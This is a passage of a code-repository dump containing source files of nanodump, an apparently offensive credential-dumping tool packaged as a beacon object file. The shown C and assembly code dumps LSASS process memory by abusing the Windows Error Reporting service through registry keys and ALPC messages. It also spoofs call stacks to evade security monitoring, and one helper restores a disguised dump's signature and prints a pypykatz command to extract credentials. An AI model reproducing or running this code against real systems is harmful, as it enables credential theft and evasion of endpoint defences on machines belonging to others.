function_failed(\"RtlImageNtHeader\");\n        goto cleanup;\n    }\n\n    for (i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)\n    {\n        pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)pNtHeaders + sizeof(*pNtHeaders) + i * sizeof(*pSectionHeader));\n\n        if (!strcmp((char*)pSectionHeader->Name, SectionName))\n        {\n            *Address = (ULONG_PTR)((PBYTE)Module + pSectionHeader->VirtualAddress);\n            *Size = pSectionHeader->SizeOfRawData;\n            ret_val = TRUE;\n            break;\n        }\n    }\n\ncleanup:\n    DPRINT(\"NT headers @ 0x%p | Address: 0x%p | Size: %ld | Result: %d\", pNtHeaders, (PVOID)*Address, *Size, ret_val);\n\n    safe_free((PVOID*)&pBuffer);\n\n    return ret_val;\n}\n\nBOOL find_module_pattern(\n    IN PBYTE Pattern,\n    IN DWORD PatternLength,\n    IN ULONG_PTR Address,\n    IN DWORD Size,\n    OUT PULONG_PTR PatternAddress)\n{\n    BOOL      ret_val        = FALSE;\n    ULONG_PTR pModulePointer = 0;\n    ULONG_PTR pModuleLimit   = 0;\n\n    pModulePointer = Address;\n    pModuleLimit = Address + Size - PatternLength;\n\n    do\n    {\n        if (!memcmp(Pattern, (PVOID)pModulePointer, PatternLength))\n        {\n            *PatternAddress = pModulePointer;\n            ret_val = TRUE;\n            break;\n        }\n\n        pModulePointer++;\n\n    } while ((pModulePointer < pModuleLimit) && !ret_val);\n\n    return ret_val;\n}\n\nBOOL is_service_running(\n    IN LPCWSTR ServiceName)\n{\n    DWORD dwServiceStatus;\n\n    if (!get_service_status_by_name(ServiceName, &dwServiceStatus))\n        return FALSE;\n\n    return dwServiceStatus == SERVICE_RUNNING;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/restore_signature.c",
    "content": "#include <stdio.h>\n\nint main(int argc, char* argv[])\n{\n    if (argc != 2)\n    {\n        fprintf(stderr, \"usage: %s <input file>\\n\", argv[0]);\n        return -1;\n    }\n\n    FILE* f = fopen(argv[1], \"r+\");\n    if (!f)\n    {\n        fprintf(stderr, \"Invalid input file: %s\\n\", argv[1]);\n        return -1;\n    }\n\n    // valid signature\n    unsigned char signature[] = { 0x4d, 0x44, 0x4d, 0x50, 0x93, 0xa7, 0x00, 0x00 };\n\n    fseek(f, 0L, SEEK_SET);\n    fwrite(signature, sizeof(signature), sizeof(unsigned char), f);\n\n    fclose(f); f = NULL;\n\n    printf(\"done, to analize the dump run:\\npython3 -m pypykatz lsa minidump %s\\n\", argv[1]);\n\n    return 0;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/shtinkering.c",
    "content": "#include \"shtinkering.h\"\n\n\nBOOL cleanup_registry_key(\n    IN HANDLE hRegistry)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n\n    if (hRegistry)\n    {\n        status = NtDeleteKey(hRegistry);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtDeleteKey\", status);\n            goto cleanup;\n        }\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL set_registry_key(\n    OUT PHANDLE phRegistry)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    UNICODE_STRING reg_key_name = { 0 };\n    UNICODE_STRING reg_value_name = { 0 };\n    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };\n    DWORD DumpType = 0;\n\n    if (!phRegistry)\n        goto cleanup;\n\n    reg_key_name.Buffer = SHTINKERING_KEY;\n    reg_key_name.Length = 0xa0;\n    reg_key_name.MaximumLength = 0xa2;\n\n    // Creating the registry key\n    InitializeObjectAttributes(&ObjectAttributes, &reg_key_name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    status = NtCreateKey(\n        phRegistry,\n        KEY_ALL_ACCESS,\n        &ObjectAttributes,\n        0,\n        NULL,\n        REG_OPTION_VOLATILE,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateKey\", status);\n        goto cleanup;\n    }\n\n    DPRINT(\"Registry key has been created : %ls\", reg_key_name.Buffer);\n\n    // set up registry key name\n    reg_value_name.Buffer = L\"DumpType\";\n    reg_value_name.Length = 0x10;\n    reg_value_name.MaximumLength = 0x12;\n    DumpType = LOCAL_DUMP;\n\n    status = NtSetValueKey(\n        *phRegistry,\n        &reg_value_name,\n        0,\n        REG_DWORD,\n        &DumpType,\n        sizeof(DWORD));\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetValueKey\", status);\n        goto cleanup;\n    }\n\n    DPRINT(\"Sub key DumpType has been created\");\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL wait_for_wersvc(VOID)\n{\n    BOOL ret_val = FALSE;\n    HANDLE hEvent = NULL;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    OBJECT_ATTRIBUTES objectAttributes = { 0 };\n    UNICODE_STRING objectName = { 0 };\n\n    objectName.Buffer = L\"\\\\KernelObjects\\\\SystemErrorPortReady\";\n    objectName.Length = 0x46;\n    objectName.MaximumLength = 0x48;\n\n    objectAttributes.ObjectName = &objectName;\n    objectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);\n    objectAttributes.RootDirectory = NULL;\n    objectAttributes.Attributes = 0;\n    objectAttributes.SecurityDescriptor = NULL;\n    objectAttributes.SecurityQualityOfService = NULL;\n\n    status = NtOpenEvent(\n        &hEvent,\n        EVENT_QUERY_STATE|SYNCHRONIZE,\n        &objectAttributes);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenEvent\", status);\n        goto cleanup;\n    }\n\n    status = NtWaitForSingleObject(\n        hEvent,\n        FALSE,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtWaitForSingleObject\", status);\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hEvent)\n        NtClose(hEvent);\n\n    return ret_val;\n}\n\nBOOL signal_start_wersvc(VOID)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    PVOID NtUpdateWnfStateData_addr = NULL;\n    EtwEventWriteNoRegistration_t EtwEventWriteNoRegistration = NULL;\n\n    // find the address of NtUpdateWnfStateData dynamically\n    NtUpdateWnfStateData_addr = get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        NtUpdateWnfStateData_SW2_HASH,\n        0);\n\n    if (NtUpdateWnfStateData_addr)\n    {\n        ULONG64 werWnfStateName = 0x41940B3AA3BC0875; // WNF_WER_SERVICE_START\n        status = NtUpdateWnfStateData(\n            &werWnfStateName,\n            NULL,\n            0,\n            NULL,\n            NULL,\n            0,\n            0);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtUpdateWnfStateData\", status);\n            goto cleanup;\n        }\n    }\n    else\n    {\n        // Alternative to WNF (before Win8 for example)\n        EtwEventWriteNoRegistration = (EtwEventWriteNoRegistration_t)(ULONG_PTR)get_function_address(\n            get_library_address(NTDLL_DLL, TRUE),\n            EtwEventWriteNoRegistration_SW2_HASH,\n            0);\n        if (!EtwEventWriteNoRegistration)\n        {\n            api_not_found(\"EtwEventWriteNoRegistration\");\n            goto cleanup;\n        }\n\n        GUID feedbackServiceTriggerProviderGuid = { 0xe46eead8, 0xc54, 0x4489, {0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x5, 0x9e, 0xe} };\n        EVENT_DESCRIPTOR eventDescriptor = { 0 };\n        memset(&eventDescriptor, 0, sizeof(EVENT_DESCRIPTOR));\n        status = EtwEventWriteNoRegistration(\n            &feedbackServiceTriggerProviderGuid,\n            &eventDescriptor,\n            0,\n            NULL);\n        if (!NT_SUCCESS(status))\n        {\n            function_failed(\"EtwEventWriteNoRegistration\");\n            goto cleanup;\n        }\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL send_message_to_wer_service(\n    IN PVOID SendingMessage,\n    OUT PVOID ReceivingMessage)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    UNICODE_STRING alpcWerPort_ustr = { 0 };\n    HANDLE hPort = NULL;\n    OBJECT_ATTRIBUTES objectAttributes = { 0 };\n    ALPC_PORT_ATTRIBUTES portAttributes = { 0 };\n    SIZE_T bufLength = 0;\n\n    status = signal_start_wersvc();\n    if (!NT_SUCCESS(status))\n        goto cleanup;\n\n    status = wait_for_wersvc();\n    if (!NT_SUCCESS(status))\n        goto cleanup;\n\n    alpcWerPort_ustr.Buffer = L\"\\\\WindowsErrorReportingServicePort\";\n    alpcWerPort_ustr.Length = 0x42;\n    alpcWerPort_ustr.MaximumLength = 0x44;\n\n    objectAttributes.Length = sizeof(objectAttributes);\n    objectAttributes.RootDirectory = NULL;\n    objectAttributes.Attributes = 0;\n    objectAttributes.ObjectName = NULL;\n    objectAttributes.SecurityDescriptor = NULL;\n    objectAttributes.SecurityQualityOfService = NULL;\n\n    memset(&portAttributes, 0, sizeof(portAttributes));\n    portAttributes.MaxMessageLength = sizeof(ReportExceptionWerAlpcMessage);\n\n    status = NtAlpcConnectPort(\n        &hPort,\n        &alpcWerPort_ustr,\n        &objectAttributes,\n        &portAttributes,\n        ALPC_MSGFLG_SYNC_REQUEST,\n        NULL,\n        NULL,\n        NULL,\n        NULL,\n        NULL,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtAlpcConnectPort\", status);\n        goto cleanup;\n    }\n\n    bufLength = sizeof(ReportExceptionWerAlpcMessage);\n    status = NtAlpcSendWaitReceivePort(\n        hPort,\n        ALPC_MSGFLG_SYNC_REQUEST,\n        (PPORT_MESSAGE)SendingMessage,\n        NULL,\n        (PPORT_MESSAGE)ReceivingMessage,\n        &bufLength,\n        NULL,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtAlpcSendWaitReceivePort\", status);\n        goto cleanup;\n    }\n\n    // Check that the status from the call and in the received message indicate success\n    if (NT_SUCCESS(status) && STATUS_TIMEOUT != status)\n    {\n        if (!NT_SUCCESS(((PReportExceptionWerAlpcMessage)ReceivingMessage)->NtStatusErrorCode))\n        {\n            PRINT_ERR(\"the Wer service responded with an error\");\n            goto cleanup;\n        }\n    }\n    else\n    {\n        syscall_failed(\"NtAlpcSendWaitReceivePort\", status);\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hPort)\n        NtClose(hPort);\n\n    return ret_val;\n}\n\nBOOL find_valid_thread_id(\n    IN DWORD process_id,\n    OUT PDWORD pthread_id)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    HANDLE hProcess = NULL;\n    HANDLE hThread = NULL;\n    *pthread_id = 0;\n\n    /*\n     * while interacting with other processes is bad for opsec,\n     * the permissions are harmless and most likely whitelisted\n     */\n    hProcess = get_process_handle(\n        process_id,\n        PROCESS_QUERY_INFORMATION,\n        FALSE,\n        0);\n    if (!hProcess)\n    {\n        PRINT_ERR(\"Failed to open handle to spoofed process id %ld\", process_id);\n        goto cleanup;\n    }\n\n    status = NtGetNextThread(\n        hProcess,\n        hThread,\n        THREAD_QUERY_LIMITED_INFORMATION,\n        0,\n        0,\n        &hThread);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtGetNextThread\", status);\n        goto cleanup;\n    }\n\n    *pthread_id = get_tid(hThread);\n    if (!*pthread_id)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hProcess)\n        NtClose(hProcess);\n    if (hThread)\n        NtClose(hThread);\n\n    return ret_val;\n}\n\nBOOL werfault_shtinkering(\n    IN DWORD lsass_pid,\n    IN HANDLE hProcess)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    DWORD lsass_tid = 0;\n    HANDLE hThread = NULL;\n    HANDLE hWerfault = NULL;\n    HANDLE hRecoveryEvent = NULL;\n    HANDLE hCompletionEvent = NULL;\n    HANDLE hFileMapping = NULL;\n    PVOID mappedView = NULL;\n    LARGE_INTEGER max_size = { 0 };\n    SIZE_T view_size = 0;\n    OBJECT_ATTRIBUTES attr_inheritable = { 0 };\n    CLIENT_ID cid = { 0 };\n    HANDLE hRegistry = NULL;\n    PReportExceptionWerAlpcMessage receivingMessage = NULL;\n\n    // Create exception details\n    EXCEPTION_RECORD exceptionRecord = { 0 };\n    EXCEPTION_POINTERS exceptionPointers = { 0 };\n    CONTEXT context = { 0 };\n    exceptionRecord.ExceptionCode = STATUS_UNSUCCESSFUL;\n    exceptionPointers.ExceptionRecord = &exceptionRecord;\n    exceptionPointers.ContextRecord = &context;\n\n    success = set_registry_key(&hRegistry);\n    if (!success)\n        goto cleanup;\n\n    InitializeObjectAttributes(&attr_inheritable, NULL, OBJ_INHERIT, 0, NULL);\n\n    // Create hRecoveryEVent & hCompletionEvent\n    status = NtCreateEvent(\n        &hRecoveryEvent,\n        GENERIC_ALL,\n        &attr_inheritable,\n        FALSE,\n        FALSE);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateEvent\", status);\n        goto cleanup;\n    }\n\n    status = NtCreateEvent(\n        &hCompletionEvent,\n        GENERIC_ALL,\n        &attr_inheritable,\n        FALSE,\n        FALSE);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateEvent\", status);\n        goto cleanup;\n    }\n\n    // Create the file mapping\n    max_size.QuadPart = sizeof(MappedViewStruct);\n    status = NtCreateSection(\n        &hFileMapping,\n        SECTION_ALL_ACCESS,\n        &attr_inheritable,\n        &max_size,\n        PAGE_READWRITE,\n        SEC_COMMIT,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateSection\", status);\n        goto cleanup;\n    }\n\n    status = NtMapViewOfSection(\n        hFileMapping,\n        NtCurrentProcess(),\n        &mappedView,\n        0,\n        0,\n        NULL,\n        &view_size,\n        ViewShare,\n        0,\n        PAGE_READWRITE);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtMapViewOfSection\", status);\n        goto cleanup;\n    }\n\n    success = find_valid_thread_id(lsass_pid, &lsass_tid);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\"thread id: %ld\", lsass_tid);\n\n    cid.UniqueProcess = (HANDLE)(ULONG_PTR)lsass_pid;\n    cid.UniqueThread = (HANDLE)(ULONG_PTR)lsass_tid;\n    status = NtOpenThread(\n        &hThread,\n        THREAD_QUERY_LIMITED_INFORMATION,\n        &attr_inheritable,\n        &cid);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenThread\", status);\n        goto cleanup;\n    }\n\n    // Prepare the MappedViewStruct\n    MappedViewStruct mps = { 0 };\n    mps.Size = sizeof(MappedViewStruct);\n    mps.ExceptionPointers = &exceptionPointers;\n    mps.hCompletionEvent = hCompletionEvent;\n    mps.hRecoveryEvent = hRecoveryEvent;\n    mps.NtErrorCode = (DWORD)E_FAIL;\n    mps.NtStatusErrorCode = STATUS_UNSUCCESSFUL;\n    mps.TickCount = get_tick_count();\n    mps.TargetProcessPid = lsass_pid;\n    mps.hTargetProcess = hProcess;\n    mps.TargetThreadTid = lsass_tid;\n    mps.hTargetThread = hThread;\n\n    // Prepare the ALPC request\n    ReportExceptionWerAlpcMessage sendingMessage = { 0 };\n    sendingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage);\n    sendingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE);\n    sendingMessage.MessageType = RequestReportUnhandledException;\n    sendingMessage.Flags = 0;\n    sendingMessage.hFileMapping = hFileMapping;\n    sendingMessage.hCompletionEvent = hCompletionEvent;\n    sendingMessage.hRecoveryEvent = hRecoveryEvent;\n    sendingMessage.hFileMapping2 = hFileMapping;\n    sendingMessage.hTargetProcess = mps.hTargetProcess;\n    sendingMessage.hTargetThread = mps.hTargetThread;\n    sendingMessage.TargetProcessId = mps.TargetProcessPid;\n\n    // Prepare the ALPC response\n    receivingMessage = intAlloc(sizeof(ReportExceptionWerAlpcMessage));\n    if (!receivingMessage)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n    receivingMessage->PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage);\n    receivingMessage->PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE);\n\n    // Copy the struct into the mapped view\n    memcpy(mappedView, &mps, sizeof(mps));\n\n    // Send the request and get the response from the ALPC server\n    success = send_message_to_wer_service(\n        &sendingMessage,\n        receivingMessage);\n\n    // Did we fail to send the ALPC message?\n    if (!success)\n    {\n        goto cleanup;\n    }\n\n    // Did the operation not succeed on WerSvc side?\n    if (!NT_SUCCESS(receivingMessage->NtStatusErrorCode))\n    {\n        DPRINT_ERR(\"receivingMessage->NtStatusErrorCode is 0x%lx\", receivingMessage->NtStatusErrorCode);\n        goto cleanup;\n    }\n\n    // Check if message type indicates failure\n    if (ReplyReportUnhandledExceptionFailure != receivingMessage->MessageType)\n    {\n        DPRINT_ERR(\"receivingMessage->MessageType is 0x%lx\", receivingMessage->NtStatusErrorCode);\n        goto cleanup;\n    }\n\n    hWerfault = (HANDLE)(ULONG_PTR)receivingMessage->Flags;\n    if (!hWerfault)\n    {\n        goto cleanup;\n    }\n\n    // Wait for WeFault to exit\n    while (TRUE)\n    {\n        status = NtWaitForSingleObject(hWerfault, TRUE, NULL);\n\n        // Was there was either a timeout or a failure\n        if (STATUS_TIMEOUT == status || !NT_SUCCESS(status))\n            break;\n\n        // If there wasn't a failure,\n        // did we return because of an APC or because the wait was aborted?\n        if (STATUS_USER_APC != status && STATUS_ALERTED != status)\n        {\n            status = STATUS_SUCCESS;\n            break;\n        }\n\n    }\n\n    success = print_shtinkering_crash_location();\n    if (!success)\n    {\n        DPRINT_ERR(\"Failed to print the crash directory\");\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hThread)\n        NtClose(hThread);\n    if (mappedView)\n    {\n        status = NtUnmapViewOfSection(\n            NtCurrentProcess(),\n            mappedView);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtUnmapViewOfSection\", status);\n        }\n    }\n    if (hFileMapping)\n        NtClose(hFileMapping);\n    if (hCompletionEvent)\n        NtClose(hCompletionEvent);\n    if (hRecoveryEvent)\n        NtClose(hRecoveryEvent);\n    if (hRegistry)\n    {\n        cleanup_registry_key(hRegistry);\n        NtClose(hRegistry);\n        DPRINT(\"cleaned the registry key\");\n    }\n    if (receivingMessage)\n    {\n        DATA_FREE(receivingMessage, sizeof(ReportExceptionWerAlpcMessage));\n    }\n\n    return ret_val;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/spoof_callstack-asm.asm",
    "content": ".code\n\nget_rip PROC\n    mov rax, [rsp]\n    ret\nget_rip ENDP\n\nget_rsp PROC\n    lea rax, [rsp+08h]\n    ret\nget_rsp ENDP\n\nget_tib PROC\n\tmov rax, gs:[30h]\n\tret\nget_tib ENDP\n\njumper PROC\n\tpop r11\n\txor rax, rax\n\tmov rdx, [rcx+008h]\n\tmov r8, [rcx+010h]\n\tmov r9, [rcx]\n\tbkp_stack_loop1:\n\tmov r10b, [r9+rax]\n\tmov [r8+rax], r10b\n\tinc rax\n\tcmp rax, rdx\n\tjne bkp_stack_loop1\n\txor rax, rax\n\tmov r8, [rcx+018h]\n\tmov r9, [rcx+028h]\n\tmov rdx, [rcx+020h] \n\tcpy_fake_stack_loop1:\n\tmov r10b, [r8+rax]\n\tmov [r9+rax], r10b\n\tinc rax\n\tcmp rax, rdx\n\tjne cpy_fake_stack_loop1\n\tmov rax, [rcx+040h]\n\tmov rax, [rax+008h]\n\tmov rdx, [rcx+008h]\n\tmov [rax+000h], rdx\n\tmov rdx, [rcx+010h]\n\tmov [rax+008h], rdx\n\tmov rdx, [rcx]\n\tmov [rax+010h], rdx\n\tmov [rax+018h], rbx\n\tmov [rax+020h], rbp\n\tmov [rax+028h], rsp\n\tmov [rax+030h], r11\n\txor rax, rax\n\tmov eax, [rcx+05ch]\n\tmov r10, rcx\n\tcmp eax, 01h\n\tjl params_ready1\n\tmov rcx, [r10+060h]\n\tcmp eax, 02h\n\tjl params_ready1\n\tmov rdx, [r10+068h]\n\tcmp eax, 03h\n\tjl params_ready1\n\tmov r8, [r10+070h]\n\tcmp eax, 04h\n\tjl params_ready1\n\tmov r9, [r10+078h]\n\tsub eax, 04h\n\tmov rbp, [r10+030h]\n\tstack_params_loop1:\n\tcmp eax, 01h\n\tjl params_ready1\n\tmov rbx, [r10+078h+rax*08h]\n\tmov [rbp+020h+rax*08h], rbx\n\tdec rax\n\tjmp stack_params_loop1\n\tparams_ready1:\n\tmov rsp, [r10+030h]\n\tmov rbp, [r10+038h]\n\tmov eax, [r10+050h]\n\tmov r11, [r10+048h]\n\tmov r10, rcx\n\tjmp r11\njumper ENDP\n\nend\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/spoof_callstack.c",
    "content": "#include \"spoof_callstack.h\"\n#include \"hw_breakpoint.h\"\n\nPVOID from_fake_to_real(PSTACK_INFO stack_info, PVOID pointer)\n{\n    if (!pointer)\n        return pointer;\n\n    PVOID target_stack_bottom = RVA(PVOID, stack_info->fake_stack_target_addr, stack_info->fake_stack_size);\n    return (PVOID)(ULONG_PTR)((ULONG_PTR)target_stack_bottom - ((ULONG_PTR)stack_info->fake_stack_heap_addr + stack_info->fake_stack_size - (ULONG_PTR)pointer));\n}\n\nVOID set_frame_info(\n    OUT PSTACK_FRAME frame,\n    IN LPWSTR path,\n    IN DWORD api_hash,\n    IN LPCSTR api_name,\n    IN PCHAR pattern,\n    IN PBYTE byte_match,\n    IN ULONG offset)\n{\n    ULONG32 pattern_size = 0;\n\n    memset(frame, 0, sizeof(STACK_FRAME));\n    wcsncpy(frame->targetDll, path, wcsnlen(path, MAX_PATH));\n    if (wcsrchr(path, '\\\\'))\n        wcsncpy(frame->target_dll_name, &wcsrchr(path, '\\\\')[1], wcsnlen(path, MAX_PATH));\n    else\n        wcsncpy(frame->target_dll_name, path, wcsnlen(path, MAX_PATH));\n    for (int i = 0; i < MAX_PATH; ++i)\n    {\n        if (frame->target_dll_name[i] == '.')\n        {\n            frame->target_dll_name[i] = 0;\n            break;\n        }\n    }\n    frame->functionHash = api_hash;\n    if (api_name)\n        strncpy(frame->function_name, api_name, MAX_PATH);\n    frame->offset = offset;\n    frame->totalStackSize = 0;\n    frame->setsFramePointer = FALSE;\n    frame->returnAddress = 0;\n    frame->pushRbp = FALSE;\n    frame->countOfCodes = 0;\n    frame->pushRbpIndex = 0;\n    if (pattern && byte_match)\n    {\n        pattern_size = strnlen(pattern, sizeof(frame->pattern) - 1);\n        memcpy(frame->pattern, pattern, pattern_size);\n        memcpy(frame->byte_match, byte_match, pattern_size);\n    }\n    frame->is_valid = FALSE;\n    frame->push_frame = FALSE;\n    frame->is_exception = FALSE;\n}\n\nBOOL compare_bytes(\n    IN PBYTE pData,\n    IN PBYTE bMask,\n    IN PCHAR szMask)\n{\n    for (; *szMask; ++szMask, ++pData, ++bMask)\n    {\n        if (*szMask == 'x' && *pData != *bMask)\n            return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL find_pattern(\n    IN PVOID dwAddress,\n    IN ULONG32 dwLen,\n    IN PBYTE bMask,\n    IN PCHAR szMask,\n    OUT PVOID* pattern_addr)\n{\n    PVOID current_address = NULL;\n    for (ULONG32 i = 0; i < dwLen; i++)\n    {\n        current_address = RVA(PVOID, dwAddress, i);\n        if (compare_bytes(current_address, bMask, szMask))\n        {\n            *pattern_addr = current_address;\n            return TRUE;\n        }\n    }\n\n    return FALSE;\n}\n\nVOID set_ntopenprocess_callstack(\n    IN PSTACK_FRAME callstack,\n    OUT PDWORD number_of_frames)\n{\n    DWORD i = 0;\n#ifdef _WIN64\n    // kernelbase.dll!ProcessIdToSessionId+0x96 after calling NtOpenProcess\n    set_frame_info(\n        &callstack[i++],\n        L\"KernelBase.dll\",\n        0xF495D426,\n        \"ProcessIdToSessionId\",\n        \"xxx\",\n        (PBYTE)\"\\x48\\xff\\x15\",\n        7);\n    // kernel32.dll!BaseThreadInitThunk+0x14 after the call instruction\n    set_frame_info(\n        &callstack[i++],\n        L\"Kernel32.dll\",\n        0xA63E8FBC,\n        \"BaseThreadInitThunk\",\n        \"x??x?????x\",\n        (PBYTE)\"\\x48\\x8b\\xc2\\xff\\x15\\x24\\xcc\\x06\\x00\\x8b\",\n        9);\n    // ntdll.dll!RtlUserThreadStart+0x21 after the call instruction\n    set_frame_info(\n        &callstack[i++],\n        L\"ntdll.dll\",\n        0x551C5A87,\n        \"RtlUserThreadStart\",\n        \"x\",\n        (PBYTE)\"\\xff\",\n        6);\n#else\n    // kernelbase.dll!ProcessIdToSessionId+0x96 after calling NtOpenProcess\n    set_frame_info(\n        &callstack[i++],\n        L\"KernelBase.dll\",\n        0xF495D426,\n        \"ProcessIdToSessionId\",\n        \"xx????x\",\n        (PBYTE)\"\\xff\\x15\\x8c\\x38\\x1e\\x10\\x85\",\n        6);\n    // kernel32.dll!BaseThreadInitThunk+0x14 after the call instruction\n    set_frame_info(\n        &callstack[i++],\n        L\"Kernel32.dll\",\n        0xA63E8FBC,\n        \"BaseThreadInitThunk\",\n        \"xx????x\",\n        (PBYTE)\"\\xff\\x15\\x38\\x20\\x88\\x6b\\xff\",\n        8);\n    // ntdll.dll!RtlUserThreadStart+0x21 after the call instruction\n    set_frame_info(\n        &callstack[i++],\n        L\"ntdll.dll\",\n        0x551C5A87,\n        \"RtlUserThreadStart\",\n        \"xx????x\",\n        (PBYTE)\"\\xff\\x15\\xe0\\x91\\x3a\\x4b\\xff\",\n        8);\n#endif\n    *number_of_frames = i;\n}\n\nVOID set_default_callstack(\n    IN PSTACK_FRAME callstack,\n    OUT PDWORD number_of_frames)\n{\n    DWORD i = 0;\n#ifdef _WIN64\n    // kernel32.dll!BaseThreadInitThunk+0x14 after the call instruction\n    set_frame_info(\n        &callstack[i++],\n        L\"Kernel32.dll\",\n        0xA63E8FBC,\n        \"BaseThreadInitThunk\",\n        \"x??x?????x\",\n        (PBYTE)\"\\x48\\x8b\\xc2\\xff\\x15\\x24\\xcc\\x06\\x00\\x8b\",\n        9);\n    // ntdll.dll!RtlUserThreadStart+0x21 after the call instruction\n    set_frame_info(\n        &callstack[i++],\n        L\"ntdll.dll\",\n        0x551C5A87,\n        \"RtlUserThreadStart\",\n        \"x\",\n        (PBYTE)\"\\xff\",\n        6);\n#else\n    // kernel32.dll!BaseThreadInitThunk+0x14 after the call instruction\n    set_frame_info(\n        &callstack[i++],\n        L\"Kernel32.dll\",\n        0xA63E8FBC,\n        \"BaseThreadInitThunk\",\n        \"xx????x\",\n        (PBYTE)\"\\xff\\x15\\x38\\x20\\x88\\x6b\\xff\",\n        8);\n    // ntdll.dll!RtlUserThreadStart+0x21 after the call instruction\n    set_frame_info(\n        &callstack[i++],\n        L\"ntdll.dll\",\n        0x551C5A87,\n        \"RtlUserThreadStart\",\n        \"xx????x\",\n        (PBYTE)\"\\xff\\x15\\xe0\\x91\\x3a\\x4b\\xff\",\n        8);\n#endif\n    *number_of_frames = i;\n}\n\nBOOL get_text_section(\n    PVOID image_base,\n    PVOID* ptext_section_addr,\n    PDWORD ptext_section_size)\n{\n    BOOL ret_val = FALSE;\n    PIMAGE_DOS_HEADER dos = NULL;\n    PIMAGE_NT_HEADERS nt = NULL;\n    PIMAGE_SECTION_HEADER section_hdr = NULL;\n\n    dos = (PIMAGE_DOS_HEADER)image_base;\n    nt = RVA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n    section_hdr = RVA(PIMAGE_SECTION_HEADER, &nt->OptionalHeader, nt->FileHeader.SizeOfOptionalHeader);\n\n    for (DWORD i = 0; i < nt->FileHeader.NumberOfSections; i++)\n    {\n        if (strcmp(\".text\", (char*)section_hdr[i].Name) == 0)\n        {\n            *ptext_section_addr = RVA(PVOID, image_base, section_hdr[i].VirtualAddress);\n            *ptext_section_size = section_hdr[i].SizeOfRawData;\n            ret_val = TRUE;\n            break;\n        }\n    }\n\n    return ret_val;\n}\n\n/*\n * Calculate the return address for fake frame\n * always ensuring that it ends up in a valid address\n */\nBOOL calculate_return_address(\n    IN OUT PSTACK_FRAME frame)\n{\n    BOOL success = FALSE;\n    BOOL ret_val = FALSE;\n    PVOID image_base = NULL;\n    PVOID func_base = NULL;\n    ULONG32 max_look_range = 0;\n    PVOID text_section_addr = 0;\n    DWORD text_section_size = 0;\n    PVOID pattern_addr = NULL;\n\n    // get library base address\n    image_base = (PVOID)get_library_address(frame->targetDll, TRUE);\n    if (!image_base)\n    {\n        DPRINT_ERR(\"failed to get image base of %ls\", frame->targetDll);\n        goto cleanup;\n    }\n\n    success = get_text_section(\n        image_base,\n        &text_section_addr,\n        &text_section_size);\n    if (!success)\n    {\n        DPRINT_ERR(\"could not find the .text section of %ls\", frame->targetDll);\n        goto cleanup;\n    }\n\n    // set the return address to the start of the .text section\n    frame->returnAddress = text_section_addr;\n\n    if (frame->function_name[0] || frame->functionHash)\n    {\n        // get the address of the API\n        if (frame->function_name[0])\n        {\n            func_base = get_function_address(\n                image_base,\n                SW2_HashSyscall(frame->function_name),\n                0);\n        }\n        else\n        {\n            func_base = get_function_address(\n                image_base,\n                frame->functionHash,\n                0);\n        }\n        if (!func_base)\n        {\n            if (frame->function_name[0])\n            {\n                DPRINT_ERR(\"could not find function with name %s in 